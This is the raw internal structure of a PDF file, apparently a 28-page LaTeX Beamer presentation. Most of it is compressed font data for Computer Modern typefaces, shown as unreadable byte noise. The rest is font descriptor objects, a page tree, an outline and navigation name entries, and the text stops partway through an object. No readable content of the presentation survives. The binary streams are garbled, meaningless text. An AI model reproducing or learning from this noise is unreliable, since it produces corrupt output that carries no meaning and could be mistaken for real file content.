CQC>Ju7ܳ,%E(qk2 j DA^ UZ92|N ɌV[l=uol~ }v/'7qׅQk ~бG*hw,mHu 8m)1e&vNw^ ,AC?qHw5;ōm=T|cvO?uS6vt ʫ6s ^V1kce' M=Pz1:Bh6WœmXw33,խ:V|YqŽ+ kS9~p>@;]d"9g@]OO}nl2*eA-M(<nvX{N >K^lQ!x=iWigTjYotl.?\䐃rRjc܍-W&\} K&3շqPK8ZsJ G(#t/¸a پ3Bٽ9d}}(\WıZ%e]=w#wNչeOC|1U:^AmiJU;gX5z Ed?Фw?rY:f%eBNsq-QR%QkJxjmM旒۳h:6 ,ީHejKh!z8gQu 6 bz1v9;y` nIHM[?x[8QMn7⏳)]P]_k3 } 4S$"۞^*Դ&\"oGZ /!\$佶3;B%C!u]b2$S9 z7x|UQ7Rᙊo&'<ɨ%԰=pJ7 ͱx)_ #hQ/XgB  &gXN+פW;cw6gaEU4ڝ\oƏ {}6 )3|ThL!H:9rE;Dp$WPg{nQEXoqP-&M Jqo:Ѱ5ڡ$,{RFcмN 탉C- &"O^a,}3<%NlIfM؜GawHkp2 SE*j^w"6IKai5ZA~D.A`a:ڌ{OEnletղ.~,h:̱u$kij6ۆI-(|@mKy{@6-tIB_Z7~UulȷC"" :p1_~$\/́#GNwvn!|NnK4^َlڅ~b} DTTxO8@!OS/+Ap<P6Zc6 ] LUXP* GL}w/KnG(lDt M2 pL~ ^a<5ĽʋQ_n$Dj3ϠX$w%!1YԺZ䫄̽sηw4&Bw`*U_rz?IJ|@%,}9TJ'>JLbd$J ʮ[CYXµg[^XOgkٲ*/rшFf('N5hMqs*z]#E˻oi`ٛKY+>Gswh >v_|7k3}$E['s0/ܨ2i[>mylZ@fGj<Wd̍/C,SMK|]Z=ggf%Tq"M kmё5m^Xim/»#/1 vJ'0ǐ ɮ% I] smzp>(mjFʲjmJ|='DkbvѲyT^_Ғr b=>AS Ǎ"xC%Ż>Y%u_R_U= (s hQbw<-}^'5c@5^sd5 D}jؕt'¨&wd}0V_^uOp*;zm4 橩.1joҬfZh:@eoDX ۨq`6 endstream endobj 1273 0 obj << /Type /FontDescriptor /FontName /COHTJK+CMSSI12 /Flags 4 /FontBBox [ -98 -251 1052 758 ] /Ascent 694 /CapHeight 694 /Descent -194 /ItalicAngle -12 /StemV 78 /XHeight 444 /CharSet (/F/P/a/e/h/l/m/n/o/s/t/u/y) /FontFile 1272 0 R >> endobj 1274 0 obj << /Length1 940 /Length2 2554 /Length3 0 /Length 3163 /Filter /FlateDecode >>stream xڭy<dzteZ,QYXfe0%XC1`3cZ"ٷL-,PE&%{Q]Z~Sw|=sP5"P@4PE!PCQ4 R&8 tuPm= M=6D@Q!4/PD)}iF Ǒk HO!j`҂@D<}d# 73L`RN4:5p-(dR@!0 .ah&d V{' BRPLH)FQi$?f-8oD!*B &;" xHt{$~mw0k_3 *UgĿ pW;ed<@$sBS hw; ""`01LLapܶ)4ȷr} I !pF؂nA `!T_E#n-bna-xѶ } j0侂wƔPooQU hk!Ϥ@2s7{ cΕ=].S[6V_V +GΜ?~F3 kuži-T ?`=n |~-3AW0(y8y-Upg#LIVU<=ҹ1Q=r?`Kfwn"˚죻Y^W8R-mʍ癝o˱2X!KVEHSAmN zDj +rBWp[em;3.* HcU-Ò=tf.Z&4f.ܐ\4 |h,8n;JN:Ch6L4$-'֙HbDRGSg?6춹u6C:~S#mWJ(rtKRs-#c\Ljelh`w }bZ裳vA#=U'QzMBԋ'qQV&7l1̑ R \+ /v@<:r<1DAi9ҟˆ>sN3a$5Z 48~UJqY><,ŵ0 cn;IV;1=B|< Ip~Χ-~N7!D-Se[s?' lإda鑘_eCz.V[Ro-ڷE jm<%-[E~|[xD֫3s^dmG Wkc.$={ !j6,߰;cALO>p,msD:ȅ!QHlDo0SM#h'HyF ߽ 蜘 jnvTJST[eKy|r>ADS\*-ĪUzwF5'dUq*%]_vljF]zjm3R`hU5n~zx$`x ka c=eRv^l#d~RAiug;[D\dkЕzsI^[d:[[Hqxrz"=(ըs,$1DQP={3!zVppPZ/X}'{,5+ߦIFz%viگ('k99%!w'\X]܄]ču-]hC)Y Nг?Zm++ew0/½5ׂ֦[#g%ݎ~O$<5 +%75LǝШԥ<!=$<2FVO4gU`#,l]ĒR>61DIeS^WK>RoG9夂{-Se8M4ǵŠgڕ.kfd_.`]ԾWZ1UTG}*59Zo<0cW'Q9a"bSUT3k1A6H"fZCJ舂my]{s"ӈb%ЬN7K*f GWl&@9uCIj5uɍkN%/﬍dG_yПs 3vAyG~ڗgYb-*͛e&.a=AGsw1hjך7:uƔVmؖd:=`. J\Kfy/KSBe^1l Mn~l'7gj:__\e>lh ^ {8KE9HT卶syK:`[_6ݔY]h>Y&2cF, SUW+S3̏&ҧF-mݗyt\bbq6VTL68ahua9n{ǃ< O^wz(UT4LT~ndv~S`$ݕ_#,K endstream endobj 1275 0 obj << /Type /FontDescriptor /FontName /WMFGHX+CMSSI8 /Flags 4 /FontBBox [ -100 -250 1135 761 ] /Ascent 694 /CapHeight 694 /Descent -194 /ItalicAngle -12 /StemV 89 /XHeight 444 /CharSet (/a/c/d/e/g/hyphen/i/l/n/p/r/s/t/u) /FontFile 1274 0 R >> endobj 1276 0 obj << /Length1 844 /Length2 1277 /Length3 0 /Length 1856 /Filter /FlateDecode >>stream xڭ{<ǭ-2mq J< {qMטy'cgf4eUkkAQ.,DpprІκA^k=|~՝iL?dA,h X9ҼA<b(mm+a.ǚ·L,H$S)!t7M$"B`8,(X̆2aN `@ t/H\9LH@B11Gq4Q@AmOqO3\>kSO2?*?A<ӑ5 xP@_c # L}D!@z?xA$^.㩋5?Dtɼo_ѫ.2̌r\WGA] 1*jb긼b] :\\:FgqJ쨲]d,gMEZa,O4,ka %RuCSj u?\|d}tH7 ¸LZ4=V`~G8rA}Zp).Z95DLեH']C?>%58l3dԂf %+'NW7DJE++i*ֳ߇^7_vG'Dak.y)o[yU\8GA:V =Io]XLّ.'TB/B 23&>iͥs3!bI*/>qgJI9>FK?d >߭j3oo2 SɫOiso%EcѪSJ6mejF}isץ{IU<*kCDGKjcfnRgl⠢UD\zRxIwjMwBθRԜ=D'5f+U5^g>LfE{䐍^Ο>.VރyX"Z?:h&P] d̥Ƽ")߿po;xO ^..ž%!a:]w2t$iU8Б2 ^%E*,X1dg`VKGZRNϗrYO9,"}*/%UN:vy8궧I<]cPp$x4s~(%[ѳDj>^WKKy[v98L7sOW=<\57"Qf$^L #tkJv>`.^6Ԭ AO44 7 [ܩP8_6_6rHܸ6f7RTާsrz)Sނʹ9TֿG[^e22:ۤYP)q./g&TZy^tl,6]WgzsLF\jnP}r0G[ѿu Z' VZjX[zKO#$5\Nj=6!B]\ &>УW6[`(V5xxoԹ7Q0̳Cܴ1+&Ud.L_$$tVBV0IAM*}WFV endstream endobj 1277 0 obj << /Type /FontDescriptor /FontName /VXSPEQ+CMSY10 /Flags 4 /FontBBox [ -29 -960 1116 775 ] /Ascent 750 /CapHeight 683 /Descent -194 /ItalicAngle -14 /StemV 85 /XHeight 431 /CharSet (/arrowdblboth/arrowdblright/arrowright/bar/lessequal) /FontFile 1276 0 R >> endobj 1278 0 obj << /Length1 753 /Length2 683 /Length3 0 /Length 1206 /Filter /FlateDecode >>stream xڭkPWU`M6@M j0 jYvOB $hTT"(XZ NT((N.Ud T8ſy.ċ$**u@@(T(9(hh( f=@1 ɥ @d[YJ_ߘIFRN5e@#߃ !(Y0@&B( )POP clb4gr!k⡀/xD V@B@gA#T "mt*`H),[@> (-<d Ɔ &Oga ޽RXEb(@B[c$, in𙼩u#Hz"l{{LTx"cڥzt{gKZܳ.XC-g*5bmCF|cZr︷H~lw`s#eJŭnyq^ϧNus֩<쩼бM]o}!j[5HՂkknj{=k(`A*%&;㖓@U\@qe[y,,0XU6my_wr݁r|̣qUԟ"h4Oy mD~0>gx'NuM.}ŕ^KZ&TY> endobj 1280 0 obj << /Length1 754 /Length2 707 /Length3 0 /Length 1227 /Filter /FlateDecode >>stream xڭ{PWuX"ꔇQDM!`!B %1#f7.H$0(EE萢bi-HFhuc-v:N~9@_mJ`2`Cs(:s9@ 0PB#z6(P3*YLDDLL̒YQd@,c4Pc\3p) NBΌEy`̆ EAȀ$-hdDŽV2A6!#_Hmi!H:DHe1@JA. H9bf8XaKBbVxY19.Fd2?FȲ~>䃄0u]x^kζ}#Ů/[u~auIXR5s}3]j78'$[QcłݓbαwOsZj^h1q7UZavBIpn^]bm%F|@4m=fCy9JOp۵yk{iS}[ؗ6_H? F<)ճ#*ƿmcnw P|RbCZa5ߝzX c>*v8⻇gy1nџ/9OnGSm{dI˺Rhp_RquZ7s;{č֬:Ը`ա?+u<PN:n]e]c o#MVXC9&5X޳䥢X{mo蔎T$pL-=7Qղ0m=uZfy(4̵8U.$t+ DUW&!bk7L endstream endobj 1281 0 obj << /Type /FontDescriptor /FontName /HJLAUA+CMSY9 /Flags 4 /FontBBox [ -30 -958 1146 777 ] /Ascent 750 /CapHeight 683 /Descent -194 /ItalicAngle -14 /StemV 87 /XHeight 431 /CharSet (/arrowdblright) /FontFile 1280 0 R >> endobj 1282 0 obj << /Length1 1561 /Length2 9281 /Length3 0 /Length 10178 /Filter /FlateDecode >>stream xڭe\-)-t - C39twHtHJwtI;纎^~1xwS+2 %lA`FV&V>+ EJh|V^^6 PDm,ZQ6@ cC@l06[nLakk?#h„ 00f 4ILm68L:T- `4EaVvB!뿋K8Y[+S_6nakc:mM[<濽`Ck ca5o+Dll;8eL[tsR,)%/#?/fDY0t=]~YпOᅳmM,@f6N. @ ]@W`f&-`jωr1x!nbR,82 ,O?TvPCf18U Oth? 124r6t4cJ3qB3mw-,P&!t=?С}@ۘ cjW?n['!f!t?83ٙVYP !t:^OJAf?͠ _nX?nhd 430X8aX58+t? w~) ={x.zrBm*bW_]_]dfወغz0r9+Vx0c'VzT]( ɍA%^y0"fM1 u]0օòZeio1vv\ھ*8Iyu6Mso&ҺHw۱?z'HIv~_YDVLm2n].n-4kZjvr̄8q/`o KmNyH9D- xV>ݭD^v2SWvVl-.vNltlD`o@2 t#>ryL+G @"+tc N~2Mq= ?ifc ^D_)`+b 0tR&i|Ʈb`b)qf箅E؍ik\yş{/3PޯG&+x4BDJ/0uH V9dଈ%,>9kPE%` 7.EkP.ev_=}o"AǞ$L z;=asPũoec\9 OY3ڨoS3[4}gj|\gկ |ë9ST"OO8p~s@v &'gνֺB ?޺d:FL(4{Ve87c@cN@y"JnNQX,`GX}E^Me~-?B׆4Q~Gh~p~?l 㨄Z)/QE6ym7z 4C)[ ԨՉ")HvcT)ao.x!Ԣ:1Q?pOUb7GC$O-,m!L J/m[*Ka0hgτ? yOc#*UQ0A(5Kx*uE?M#~?Ӧa.1`Rfo3P#DgT6rgfȡfʇdl夑}yGz`D%%^ vo-/]ɠ2 u?kO&ev(r]s/q]vYc{`lAmN"kSV3שb#=B;߬$-Z_n~bzEݚE\$aTJeѡy3RR' @>5!5>Jݔa35cThx$:$?Nb*:C:*5:kQoZ6ẎFYc&9AM _GAIKV"tX2!y9"˷7gfs_3=~˕>ϊcاT^s)ɶdQzj!a{eNX˰ЪA8n︊Bm׻4AFqsg}cE~@W*I\*5lxO1a!b]ՑS\X{Ƿ]);R<`cf-<)*O'PJ?ȥ.qQ01+F#Z%%tbG8@?wuFZֶ[mO:ӄ a *Q?.yAYoP\~,8ՒE/W&P qmڼbwe7DIB#}crQFZ\^$sK% H|1Ҕݬ(j~}+/?PŭrNeVRy 9 $6?gp4/҄K=&._7Ӄ.Un+qٔm gqE4!,񿹌oUE|N:b̀ldb)e:}%sgˡ{N# a\ {ju1+oR 欂3)N\:Y:dy1i5$F9yjh9KE[#胥y?ݟ"? }67J,!t!`kWwWPܫ }*^21\ۥ4{ITmVRhGQ`=d5:於kx'p.d2yb!3&\FS8%i3ӏ 7kL *^=i$F K~?1a+c&.!~.A@81znsj/ (~3;j[ЏF{TLe eItF;Ķ6CzEne #PmB景T,'/ VYM_߾oE֯xTRbǏ8r~1j2wԶ&YoQL/5Nvukhֵ<9 Xű!u k43L>+UڀdʦEv{Z)$5L7L UB5kU]]R8@^ ȸF`]VT/{zӟ#c3%ǵzT7N6_I| m&*0Tw~'>/+uu {J܀32id/o*y_)|9j+..%L^[dz&JA; \fNU)CS\/- KRIP%[OywԜ]@ͅ0Zp$(4X@Ou$ 5$ꋁ5Yz6`RnG27O5ݫ3?%bg&~;CJ >y4ɎG zXs{jIc{ R^+umSfvunU7|`[wfߐ\&㥇NJ@ݨGBL_wD'ݔ9Q9 & gS[bBFP)NۣЫ< ]Wn%}0R 3v]ӼO53c"[-\lU d^NE9ϩI%0\MJz*T|MɃrُo$;myI0EVŧ؞\Lq?0Fl#Z\I@R?gvsG>YLZKYŌ{"B"u C3'ȵ,MFhI C_CS@XU!jB J3~/׍~.2%ho,ss96zSͻ~%}e]X )lS_2|3}}`$DZ$'6DZ`-?\rb+yXRË{s!)tdO㼻+Br&Q-SVV"or@A.k1[<= K*badh31gg@Ly:^o^+t%45r2vTxk-Pq"-ܷ͸}5v럩X|ᇿ,BD$ -zQbgXUvk7 0'ТB#򚘔, -3snEB5Թ߳dA{X ]6&Swbydf3zNۘjnl=U t.->PA} ʆYNӷύJkV_Jp`l I mhSfIh 1\ڼ6~!6;P$MD~>'I:m~ Lo:;I ~iH&~k6gVN::c{cT-7@)\CZͯ Qo\yK%U3Qv|m{ݿ5X4["Nx4#+;! DFZ2NUsR,Hmϧ~V Gs 19Z{3$Ys9KANONDk sh'!L!dNuuZGz/H zWz,' _Le7O $]'h #?ÕГ0 Ha<)Ӟ;d/rSA|13lZw$nF>4׮5cQEgX_jCkưQl:Մߩ39#z)X EoI!)Hg"=U-t.&՚b8Xty tO؊>9qAa/QHRzbq!_=o(іgM9_Q*$+nr8)։"{tӵW td "GV^C(Jk i w_xpqKye{C(O;N/ U/h&,.D}3V$Po ##;Yk8!YK@̎xVg +fo1 X>dR_IpיǢPDlwn:^3Gy}#BI޴U^^ڠ\1C|n!ʈvnˋ(E1p+ QA_.܊يvyu%KSk rj#i4U8g!67J1p_tS[Oi=8%Ċz(X~yu*dVcz > zUb-8~I &ύA7Cuu$k27Rrh=.Z{=q~G|QHcx*񉁑#e uS iEmtNjvia9Dxv[0l:ӄudqq0 b|9](oZJP-kQEKt&1\S}%bjhOte¾]xHI\C7 3>s:[\ggR:gvkZcidG%+F(rđqH;ASp3aQ8'8 &?JRA7]FkI$G%nl47YxXw,Wp`}SI q%tR˅ uу![͑?׬p̔*/eH F|2ޕiW Ϟ89#nZ\ChHBnfnZ4QIw c+<[1peL/\`2Mw&.RCQhSAĹN̔?Gm6O AqH:E[&EU|L:}] O//$Y9ǝ0| )Im.2tWxVo]T57`&A$B%Q:;;ȗzHc?dž`qV'qq1j[}IOjj$!An@;}|/jR@ϰM?9nxh}ŠT7#ToC^~V]m5qFY4Bl+8mlʇK<,[ o8KUAPVSͯM*4GUbqΫe@A1+!6/S&{>7!E֚[4:9t4&w]b~ߗsyT~IrGxjt,T f`5_F>V]WsoI&n"O}5NзV!CKnd׿:% iz[Z<`o~QPdr{+bOLGi0\ 7` Ƚ44E\9X-S3a;mhNE~L(ET;̷lNMN3Mj/W[mM.EVU5oZ`chJ ߔ- }ks &,OڽUb?Z#_g($ (c*52:NDž09(:׌I6T?}kTs\|,27ܭf {xW!s!}%F$<6M)W9xz9kb^rF.e n֫O'LB;d7%]F%FkOMæ7襣{mBihaxT+˃$M ?ܧ0xuD, ?Q}i_rs(p-;=Bn}/$3c垼z=*"C4P P+WfTĘx"NjXiipo1 Ũ!!&co_I뼵/gDOOu DA愊6.ovԣ <g?KmCLQ7zM!pSN|fJǁl7qҏ wDG_)NoiGe0DgFgcaW!bʈ.шF]k'q/7 ^pbNDFƖ|5 0rC޽ $R}Wj:~_4*[?L1X؄)g/ݏGӟhdr`EIz-Wi+&"E5HkކufwfD}nW[:^KJs}~b 1f`"ئ<&g>F~Q_RBmЪ2v*-T@=Eܣ=P-\&qiE=˳d~Y,ی^H 7W|W^̼ЄW='Y xHT BdaKe^oMs cFpZ 'e< ;4at倁~VNtqIXvKhDSdΐO&E쭢չxczqFWl"48#L3υ Z?LYYJ>'ԧp܈ÿ͒|3w5KAv!+7oF\l$Ǵig){עT8b =G! &HTV"$]Js* 4E/2nc~^ }WT%$Gq# |ʿUM2.*F/ /Qp|Z3Cɹɓ/T u@ vɉJ&5"5Ii0!Z(`9؅$` |7=p-#}mQe2w8=)mfɴIn3zD&K?C?_0.[N9κh!ZdžƔF; K^ۑ*=<3NbfίW,=2 wB&څyJ5z#:we}ʔT q/:%'fu}*Ay:`̈́2D[c |Қ^t0 RtcFo9ow~e6)2> endobj 1284 0 obj << /Length1 1521 /Length2 8304 /Length3 0 /Length 9193 /Filter /FlateDecode >>stream xڭeXkARD:cF e:IA@xfe~+:u69,waҪ:: ;'ˀ\B  j x8y1PO' Q ~ b\vf [6 vdHphNn`sv `1s-! R6:vr0E2͡s WCԿ˹ڪ*אd 5;;T6U9^E-L qx5 .fV'W`{k? 84T$5X4@{Ofp CNvNN <?7C99<1'^77{pPx > pHeR!s8~7C7T~z5_RYiJ_p]I0i"D4&g29AUN_'"_b k.dKI&͞y"8A z,srl/plsd[s#[tp`"?B tCWa/r$DQ]MJMR4NM~֜㏌*vgYGM&hLF 0 P-mGj|I;8L?? 0~7zFsH[0",1J9ł#Rp3Y8ϖuO$EסfbYc­ϊ%%Ӟ5@KҚ>β ~^ׇarw >´8Jaµ5vŵ't}ґjZK\-}a=^'3G;zU uFETw/MglNtN)RA>4}ˆx *!8oK6${fVvC_2b7"u4nj~ sַ<jS7_HBk6mbIv,/ t.?)[vPP(&{.k )trR kjY*q+JLא lr8& ӹ$h jk/(n{A6fDaD&,kO1B {:k[i4)X-cu9qӕ! 2_Lqڄ,؃ j1К9tWTb&6YgCsQLFP*KaLq%2gJbSf)-.yަa XNNXa`XR v=p_KƋf|K6H|pЀ 'h`=^̙L/B1da%>%Oυ7h?Uo(ePzf戽:qh%mFN?W둑cB&fVk&}ZߗkC\γAW!Ԡko&AIJ=؅=&tB \S'GWs >Sgude񂬶`ĭZGsrxeεv:BRw䧩uG倮hO't,"'[E lj7! )ҺiyqV?\ĄOJgTE *Aa8#}rO'kWem.Uy3E / ĕ,lSTB72-3㐆NHEvsvG|˾Z& ֺG_ 8+t;niaL{sFGYjݠ11q4lۗ}y(RkK{Frr A ~8^Q @O,gUEeeu*0P8a ۣU oqD`>/th]S{ =b8!Qɱ2z1S;qϡWYT =BtۚǽƒU~s9lMx)oM=lJ{x%ÇGHĿ</oG??H"d&XOT)V H9k}s2 J%v*gޛz}BY* TC+ya'y5O诓2'>  /`H5/+Hi)A(eXpGM X5| vЎ n(#wRKQQ,g=-1J:vM-LeNƊƎ}g}>f<7Q}h6r*=l,_,iu;#;,X83dC2M֭9Хwr\B93Ǥ|ֆn*45h"_Lk>"ʏNnR)٧L V4~~||??bI`4 .Xm(^6XR: @>l3m8"xR< 7xЕ!S!?U@Pu5ĿIl/t,Yy!ps|'UwKOhݶkGEϙ#xr*9+M5M4 5!?L&R=\b 2XqoZI )ڬ%×8M 0xZAX7BƽAW%&;.u#JV5 frze$am$DF_LR2v@?(4l5K6xöknh/+K_8}Z2فU8vOG !mJ2;W˖,.^A [cx(cuCۂh&F{&%}EyH5V\TZ~٨FnH^Ӛ]*# G0Η^p{%e^N{Cǻ"?}>3kz` ikn$^⥙c8rv*gg-? )?GftAU6GNP$] );S*l2n{BMʅuMgaK >:OD-u՝oP WLR-%_K3Ǘfqm̊vnď.mÐs6^7IIT$G: ѧ4G]@_Sڡ\Sk}9zm&z5q9[^_Fg'3&(&{ρ;!\T?["@]^P.rhU# ~qyAQ?:%a\MM6TrN6bc>LGH˓ jǁ5 |C)B1c 1gd WAg:́Y.m޺3$MFp#vX %-zF+o5THtp<,f|C`0c&NJn D^řoR„4tr2 E=j|/GjqMvx{چ{[C-CP)!W!z웣Q >ŖjĹ!}g,8$]/r|đ-[^;UĕDx7^l|;bL9{$d"ovvjGhjҲPtIr^jі3վ9Ba5LB 6xaTA`۽ 䋺,)tC/tAb܍6~,W`Q'n.xϒ0+%>oɴV۪EfC1ZǏ);h۵dC[֐WxuYT|YDwH#B< -Jc'nYʨ`I2ɮzmcX(m)z+3D 7eo `cFw+̓܋o(IP.4dJ5c[ 5lւi̼ݺTM߅+^tY<%^SNǾXX4>!6-6n=G 6f-QlJ/pQSFC'@]7$C|Vknk}\ 9 .ґv{ ښ4ێ~ c=6ܸ#zrVTI;U'nI`hD7+$&8X_Tn83LdѶQX{ @ͽ2Ad1Igeof06N`7롐kHVȕAbnzmѥ03s 3t&bį\u9c??rF++ܤ=3xirbq|N ;OUm}#+yOD :͉c9)+p}k2gvmMuu[Rhw]͓Wz̮/û2e@Z:OtΔO˗o展İW =Oj]m3?{DyJMmMM6AA!d}IQ{+UgoO6eyy-]Cj uv{]="U; (-n`uN055Z2sfyiʑFEB´`K./ENfv9ژ&2!6xm-5(}"ZHw rxB XC:ocE'jDkin:h@M7_X[%#, X% Ľtjs8@)V%ʗfP\,j yˢirrALaW_} R= $L~iet1"%]7vOwUq@yz)1k!A8Mq!e2!D܂vΉ ֵM9-vL=49mQNp-B~5*?^9l>[3OyoYnK>)))ng)pwz(ZG?Œ}yJRb]m9K0|A4)A2<#f݋.)݌ ;{Sb1/qռ!Seq_tL5fQ'wR0. 鶖hAN364 n6 LW)fW,&l;n" 7,ǡjK-qIoo$}q%1ghZ@3xnDg؆en,IĶo^ob^+A OBE(L4Rsu6J`n>î}Nm9QjCd[,%~6=RF- ~^d n +FB TH';5lkWӣrKoJ6T?y=j#GQ? qj1eD&>9vBxe$0~(x2$X`eEL~9xҎA+NQt+0. 9$;tƜ'҈/m/O뼚Iscp>-Zlx>I$ƦF$nKI Fz[~J!v%8RqD(c#Q~ytIuw~siPgҲ`,;ZR!o+d-?1s•>5kGAe }%:@TFD:0.!(Ԥ6'Y?S y:ஶ IA\6mL)b "'4_j#|1-6.w߿쇬L'Ƶu$MOѽa]=pCz[&اBy Ya1tY]_->`.fIt]kE♰'NE29z"qq]bBԼӭ s/0RJ͚认['Ke{& tH|[hH9i'bJmьp3<:kyy-_J>/Uzc@lAx.D 28qI?g: b9ALY bu7j[ql?>#`"cySwfa[mu^@*7)wGw7K H5,Q|9j8RZ()ڷչOS)~-nC`R2n~@Ƞ VRZY+4nPogʕ "L*d$֯ 7 R0qXyԤXvrr-~?(0>ҭyv+9"5H'@oȢ8yaQ/nunW̃Y ش9y>$xᑊ֮oh%/0:"b f+#BXk3vp`<$*gV4kp*\F0C$~ {jߥ0~&o{]>uV B5szD-!d&u_.b3zpx_!4į >&7ҨzCű(lKwWs-4@$άeAxU\WsNt:R5bs 9%/Oo؉pNBWxH ԁ;\[UN-[$Vд7>Ts2}E|*PfYI34\ۛˊݲ@x%;*D'dh]ZmLb&Ad/ 7yB~0wkgA}A_mё؍a g:iG[S;#l0*vbAPJzI3qkyVI[gVĺ&u;IN1rɗZE F2t="Ql'zv6Vr HU(e׈=<%VF@"+'9xוAӓß$B|{6<B7ʬӟ:t?FRX|`XX ¤<=E" d5-0%Vf(\}a]D -Kș,5KWIFw!!fRf .Մs|}CITȧ&aYp3\3Y':\Si,8{T&1]0ʽE >BEp#4$S&7o0_8 1Uds!~Fg;96g/+h)S[&|xEI5P!5BA! ?A{5B:⑺0)iXD@X  endstream endobj 1285 0 obj << /Type /FontDescriptor /FontName /PMVACP+CMTT8 /Flags 4 /FontBBox [ -5 -232 545 699 ] /Ascent 611 /CapHeight 611 /Descent -222 /ItalicAngle 0 /StemV 76 /XHeight 431 /CharSet (/A/B/C/H/I/L/M/N/O/P/S/T/U/a/backslash/braceleft/braceright/c/colon/d/e/f/five/four/g/h/hyphen/i/l/m/n/numbersign/o/one/p/period/quotedbl/r/s/seven/six/slash/t/three/two/u/w/x/y/zero) /FontFile 1284 0 R >> endobj 1286 0 obj << /Length1 1047 /Length2 4096 /Length3 0 /Length 4750 /Filter /FlateDecode >>stream xڭu\kǗFB;vTRB:]`eمD:$DBC$TPQA$w9\ߙf~&P LKMC E,!Eϯ9QH-g?VTw"d 2&; w4^04 :yp9\9  _ Cà`0.0w8\ = x}q!Ha'B"(̍\):wM/(/o 04ߡְ p׿z~:2}u0 Cc`0$pm@RHK_3q#,wø၀>6#q +8A,p PX 镔@pW\KB74!o_$HptIHtO4XJ ^@0 Ҁ$W qqA0.32. A }q|/ wq\@ Bp_Cx[\HK2@NQ!bh_[ 6,J>;rUS]4RA$|ߨk"r&Q:`#2zh+7y;>'WVs[lxEnѴ7M|ۖ38Xq/oDHb=7ο;7JNF'a]' mFS'!6#pdحXs IsGб+qbD#yjl80xў {|$\ ϗd\1-eȾ9ﶢ5۝Τ=dHW(O`1Y^J]'CboE6N&_;Y,w:~Uץwt48¾8^7dbY$'-a DF7Q;ҍBX[;qc22 .ʵk s2(:ɰZQ`"Si|Fey9Q01^s VO v/|g1]ߜ׉gMy0 DIҷC > +6s5Ȓ%JbTQ;KlU lYeg9ҵkCM|?~U1F\H{_X1er۲f~̩jDD[J˖wYGz)e7@jsv.SWx(%h3bxre?nΎ%}۱y;ZeL64#L }kms0ZzG1rE7N\|4&E4.O9{ FЛƐ.؎idD[*xa%J<=BxA_2!Gvz.YAAޔ>rB"LI,N ـ&vb[Z2%֒w-l]aɣb]InU?+)<* Rm1 | ,`'xܹ͢j䖾QȄrFs^'o@M /rPN皹q}eUz_ L]#A֠.-Nq:>s>`BB+el@ 2,8|Gw?|Hy{^ ?a]"+hΧEn}p-s&fՁ$1+}w)䑦^Go )T.IiOUҜ &vv}T&sse5d ֻ,DŽ%/4l-t6}%mK0n4/ltƤِ&K㕆uïAT{Cy33dv9+ fU)!Cr7A{)4/4WNߥe?p4x8p5ay2HooM*9]S"rϡ.Es,&+E rkyԡEZvȒl6ڏ=Z TBFح>(3іӷPo__BkP91y'nc2L~#2b6\)/U[J"$!*{RO/x3Vd(X] 8LcjolaN/g5q'x}!ϽO],bIvMI>~si?Æ#ۉU@uƫ;,1Ea?/XʲA?S?zzgǂdV`6\\` w~hmU{l,I[oF)9\%96VAd c|t Qwv {M>dmL󑴘TrZ7[ Ieyχ'`ǐ.텤2[آp84R%(MXKQ@*F6S U^ OF{xmTyЖY]N *1x0ep"% x[h*r{nY-80OjZ]0VA} siV;ZOljqr6ۭnvu|&4o.85bxIW5"JnuƙT7:"X+7-9n1wCMUTΒ65t+.VwSmo(J]x ؾ*:}4@Cw+Vz㢫iJˏ5[FP0 K\OjC,;\m=4j&|Mmda]Z%X2mOcz3{L땬fv ,˝[JLOc,`#\iz VZ @i'?Z{gt<2d~/K76Sέf={X []jJon_2>jyhfY\Or[^k6XB(( pɋS'34I)\:=p>wsYSlh2? r*cxO4)ۚdOMh\WvyϜUtV|0m$y y=W\ mWЂHM6k+(QܚPeWHǬwn[#)ǮݞtLCah5gnr'>zF 1p'i?(^:4.>i;Esm#$b}}1A]]tPԨ@@M#1/x_"rE<)̆Z![;1׷|0`3YBL0c-60x)lv=lc=1>L2)Af_\Prnx'6b&Kwj0cj|ߣN|ZNP7L[e J> endobj 1288 0 obj << /Count 28 /Kids [ 90 0 R 491 0 R 712 0 R 922 0 R 1139 0 R ] /Type /Pages >> endobj 1289 0 obj << /Type /Outlines /First 14 0 R /Last 34 0 R /Count 8 >> endobj 1290 0 obj << /Names [ (Doc-Start) 86 0 R (Navigation1) 88 0 R (Navigation10) 493 0 R (Navigation11) 116 0 R (Navigation12) 634 0 R (Navigation13) 677 0 R ] /Limits [ (Doc-Start) (Navigation13) ] >> endobj 1291 0 obj << /Names [ (Navigation14) 713 0 R (Navigation15) 746 0 R (Navigation16) 678 0 R (Navigation17) 636 0 R (Navigation18) 853 0 R (Navigation19) 889 0 R ] /Limits [ (Navigation14) (Navigation19) ] >> endobj 1292 0 obj << /Names [ (Navigation2) 111 0 R (Navigation20) 635 0 R (Navigation21) 117 0 R (Navigation22) 995 0 R (Navigation23) 1035 0 R (Navigation24) 996 0 R ] /Limits [ (Navigation2) (Navigation24) ] >> endobj 1293 0 obj << /Names [ (Navigation25) 1106 0 R (Navigation26) 1140 0 R (Navigation27) 1173 0 R (Navigation28) 114 0 R (Navigation3) 168 0 R (Navigation4) 112 0 R ] /Limits [ (Navigation25) (Navigation4) ] >> endobj 1294 0 obj << /Names [ (Navigation5) 113 0 R (Navigation6) 280 0 R (Navigation7) 115 0 R (Navigation8) 492 0 R (Navigation9) 529 0 R (Outline0.1) 13 0 R ] /Limits [ (Navigation5) (Outline0.1) ] >> endobj 1295 0 obj << /Names [ (Outline0.2) 17 0 R (Outline0.3) 21 0 R (Outline0.3.1.12) 25 0 R (Outline0.3.2.17) 29 0 R (Outline0.4) 33 0 R (Outline0.4.1.22) 37 0 R ] /Limits [ (Outline0.2) (Outline0.4.1.22) ] >> endobj 1296 0 obj << /Names [ (Outline0.4.2.24) 41 0 R (page.1) 89 0 R (page.10) 593 0 R (page.11) 633 0 R (page.12) 675 0 R (page.13) 711 0 R ] /Limits [ (Outline0.4.2.24) (page.13) ] >> endobj 1297 0 obj << /Names [ (page.14) 745 0 R (page.15) 781 0 R (page.16) 814 0 R (page.17) 852 0 R (page.18) 887 0 R (page.19) 921 0 R ] /Limits [ (page.14) (page.19) ] >> endobj 1298 0 obj << /Names [ (page.2) 156 0 R (page.20) 956 0 R (page.21) 994 0 R (page.22) 1034 0 R (page.23) 1067 0 R (page.24) 1105 0 R ] /Limits [ (page.2) (page.24) ] >> endobj 1299 0 obj << /Names [ (page.25) 1138 0 R (page.26) 1172 0 R (page.27) 1206 0 R (page.28) 1239 0 R (page.3) 206 0 R (page.4) 